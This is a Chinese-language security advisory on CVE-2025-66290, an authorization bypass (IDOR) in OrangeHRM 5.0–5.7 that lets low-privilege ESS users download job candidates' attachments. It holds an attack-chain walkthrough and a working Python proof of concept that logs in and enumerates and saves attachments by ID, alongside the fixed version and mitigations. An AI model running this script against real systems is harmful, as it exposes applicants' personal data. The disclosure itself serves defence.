IPBUF安全漏洞报告
English
CVE-2025-66290 CVSS 4.3 中危

CVE-2025-66290: OrangeHRM招聘模块授权绕过漏洞

披露日期: 2025-11-29

漏洞信息

漏洞编号
CVE-2025-66290
漏洞类型
授权绕过/不安全的直接对象引用(IDOR)
CVSS评分
4.3 中危
攻击向量
网络 (AV:N)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
OrangeHRM

相关标签

授权绕过IDOR不安全的直接对象引用访问控制OrangeHRM人力资源管理系统信息泄露CVSS 4.3中危漏洞CVE-2025-66290

漏洞概述

CVE-2025-66290是OrangeHRM人力资源管理系统中的一个授权绕过漏洞。该漏洞存在于招聘模块的附件检索功能中,影响版本从5.0到5.7。漏洞的根本原因在于招聘附件检索端点未能在提供服务文件之前执行所需的授权检查。具体而言,当认证用户请求候选人附件URL时,系统仅验证会话有效性,但未确认请求用户是否具备查看招聘模块的必要权限。这导致即使是被限制为ESS(员工自助服务)级别访问的用户,在没有招聘模块查看权限的情况下,仍能直接访问候选人上传的简历和其他敏感文档。由于OrangeHRM通常存储大量个人身份信息和职业敏感数据,此漏洞可能导致大规模个人隐私信息泄露,包括求职者的联系方式、工作经历、学历信息等。攻击者只需拥有一个有效的低权限账户,即可通过直接请求特定URL来枚举和下载任意候选人的附件文件。

技术细节

该漏洞属于OWASP Top 10中的A01:2021 - Broken Access Control类别,具体表现为不安全的直接对象引用(IDOR)。在OrangeHRM 5.0至5.7版本中,招聘模块的附件下载端点(如/recruitmentApply/apply/applyAttachment/download?id={attachment_id})在处理附件下载请求时存在以下问题:1) 端点仅验证用户是否已登录(session验证),但未检查用户是否具有招聘模块的访问权限;2) 附件ID采用可预测的递增整数格式,攻击者可通过枚举ID来访问不同候选人的附件;3) 系统未实现基于用户角色的访问控制策略,导致低权限ESS用户能够访问本应受保护的招聘数据。攻击者利用此漏洞的方式相对简单:首先使用具有ESS权限的账户登录系统,然后通过Burp Suite等工具拦截正常请求以获取有效的附件ID格式,随后构造针对其他候选人附件的直接请求。由于无需特殊的攻击工具或技术知识,此漏洞的利用门槛较低。OrangeHRM已在5.8版本中修复此问题,修复措施包括在附件下载端点添加权限验证逻辑,以及实施基于角色的访问控制(RBAC)检查。

攻击链分析

STEP 1
步骤1
攻击者使用低权限ESS账户登录OrangeHRM系统,该账户本身没有招聘模块的访问权限
STEP 2
步骤2
攻击者通过暴力枚举或信息泄露获取候选人附件的ID(附件ID为可预测的递增整数)
STEP 3
步骤3
攻击者构造针对招聘附件下载端点的直接请求,URL格式为/recruitmentApply/apply/applyAttachment/download?id={attachment_id}
STEP 4
步骤4
系统验证用户已登录(session有效),但未检查用户是否具有招聘模块权限,直接返回附件内容
STEP 5
步骤5
攻击者成功下载候选人简历和其他敏感文档,导致个人隐私信息泄露

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
#!/usr/bin/env python3 """ CVE-2025-66290 PoC - OrangeHRM Recruitment Module Authorization Bypass This PoC demonstrates how an authenticated ESS-level user can download candidate attachments without proper recruitment module permissions. """ import requests import sys from bs4 import BeautifulSoup TARGET_URL = "http://target-orangehrm.com" USERNAME = "ess_user" PASSWORD = "password123" def login(session, username, password): """Authenticate with OrangeHRM using ESS credentials""" login_url = f"{TARGET_URL}/index.php/auth/login" data = { 'txtUsername': username, 'txtPassword': password, 'Submit': 'LOGIN' } response = session.post(login_url, data=data, verify=False) return 'dashboard' in response.url or response.status_code == 200 def download_attachment(session, attachment_id): """Attempt to download candidate attachment by ID""" # Recruitment attachment download endpoint attachment_url = f"{TARGET_URL}/index.php/recruitmentApply/apply/applyAttachment/download?id={attachment_id}" response = session.get(attachment_url, allow_redirects=True, verify=False) # Check if download was successful (not redirected to login or error page) if response.status_code == 200: content_type = response.headers.get('Content-Type', '') if 'application' in content_type or 'text' in content_type: return True, response.content return False, None def main(): session = requests.Session() # Step 1: Login as ESS user (no recruitment access) print("[*] Logging in as ESS user...") if not login(session, USERNAME, PASSWORD): print("[-] Login failed!") return print("[+] Login successful") # Step 2: Enumerate and download candidate attachments print("[*] Enumerating candidate attachments...") for attachment_id in range(1, 100): success, content = download_attachment(session, attachment_id) if success: print(f"[+] Found attachment ID: {attachment_id}") print(f" Size: {len(content)} bytes") # Save the attachment with open(f"attachment_{attachment_id}.pdf", 'wb') as f: f.write(content) print(f" Saved to: attachment_{attachment_id}.pdf") if __name__ == "__main__": main()

影响范围

OrangeHRM < 5.0 (不受影响)
OrangeHRM 5.0 - 5.7 (受影响)
OrangeHRM >= 5.8 (已修复)

防御指南

临时缓解措施
如果无法立即升级到修复版本,可采取以下临时缓解措施:1) 限制ESS用户账户的创建和分配,仅向必要人员提供系统访问权限;2) 在Web应用防火墙(WAF)层面配置规则,监控和阻止对/recruitmentApply端点的异常访问请求;3) 定期审查系统访问日志,识别潜在的非授权附件访问行为;4) 考虑暂时禁用招聘模块的公开访问,通过网络层ACL限制对招聘相关URL的访问来源。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表